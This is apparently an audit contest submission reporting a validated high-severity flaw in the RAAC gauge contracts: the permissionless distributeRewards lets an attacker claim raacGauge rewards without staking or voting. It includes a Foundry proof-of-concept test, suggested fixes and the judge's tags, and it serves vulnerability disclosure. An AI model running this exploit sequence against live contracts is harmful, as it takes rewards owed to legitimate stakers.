Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
Submission Details
Severity: high
Valid

Attacker to claim rewards from the `raacGauge` contract without staking or voting on the gauge

Author Revealed upon completion

Summary

Attacker to claim rewards from the raacGauge contract without staking or voting on the gauge. This is due to the permissionless nature of the distributeRewards function, which can be called by any user, including malicious actors. By calling distributeRewards and waiting for other users to stake and vote, an attacker can claim rewards without contributing to the system.

Vulnerability Details

  1. Permissionless distributeRewards Function:

    • The distributeRewards function in the gaugeController contract is permissionless, meaning any user (e.g., user1) can call it.

    • This function initiates the distribution of rewards to the raacGauge contract.

  2. Attacker's Workflow:

    • The attacker (user1) calls distributeRewards to fund the raacGauge with rewards.

    • After calling distributeRewards, the attacker waits for legitimate users (e.g., user2) to stake tokens and vote on the gauge.

    • Once the reward distribution period is over, the attacker calls raacGauge.getReward() to claim rewards without having staked or voted.

Impact

The attacker receives free rewards without contributing to the system (i.e., without staking or voting). This undermines the fairness of the reward distribution mechanism and could lead to significant financial losses for legitimate users.

Tools Used

Manual Review

POC

function testFreeRewards() public {
// Deal users raacToken
//deal(address(raacToken), address(user1), 200_000e18); Attacker has no tokens
deal(address(raacToken), address(user2), 200_000e18);
deal(address(raacToken), address(user3), 200_000e18);
deal(address(raacToken), address(raacGauge), 500_000e18); //Fund RAACGaue
vm.startPrank(address(user1));
gaugeController.distributeRewards(address(raacGauge));
vm.stopPrank();
vm.startPrank(address(user2));
IERC20(address(raacToken)).approve(address(raacGauge), type(uint256).max);
raacGauge.stake(50_000e18);
IERC20(address(raacToken)).approve(address(veRaacToken), type(uint256).max);
veRaacToken.lock(100_000e18, 365 days); // Lock 100,000 RAAC tokens for 1 year. Gives you 25_000e18 veRaac tokens = 25000 voting power.
gaugeController.vote(address(raacGauge), 5000);
vm.stopPrank();
skip(7 days);
vm.startPrank(address(user1));
raacGauge.earned(address(user1));
raacGauge.getReward(); // Claim rewards
IERC20(address(raacToken)).balanceOf(address(user1));
vm.stopPrank();
}

Recommendations

  1. Restrict Access to distributeRewards:

    • Ensure that only authorized addresses (e.g., the contract owner or a dedicated reward distributor) can call distributeRewards.

    • Example:

      solidity

      Copy

      modifier onlyOwner() {
      require(msg.sender == owner, "Unauthorized");
      _;
      }
      function distributeRewards(address gauge) public onlyOwner {
      // Reward distribution logic
      }
  2. Require Staking or Voting to Claim Rewards:

    • Modify the getReward function to ensure that only users who have staked tokens or voted on the gauge can claim rewards.

    • Example:

      solidity

      Copy

      function getReward() public {
      require(stakedBalances[msg.sender] > 0 || votes[msg.sender] > 0, "No staking or voting");
      // Reward claim logic
      }
  3. Track User Contributions:

    • Implement a mechanism to track user contributions (e.g., staking and voting) and distribute rewards proportionally.

    • Example:

      solidity

      Copy

      mapping(address => uint256) public stakedBalances;
      mapping(address => uint256) public votes;
      function getReward() public {
      uint256 userStake = stakedBalances[msg.sender];
      uint256 userVotes = votes[msg.sender];
      require(userStake > 0 || userVotes > 0, "No contribution");
      uint256 reward = calculateReward(userStake, userVotes);
      // Transfer reward to user
      }
Updates

Lead Judging Commences

inallhonesty Lead Judge 11 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

inallhonesty Lead Judge 11 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.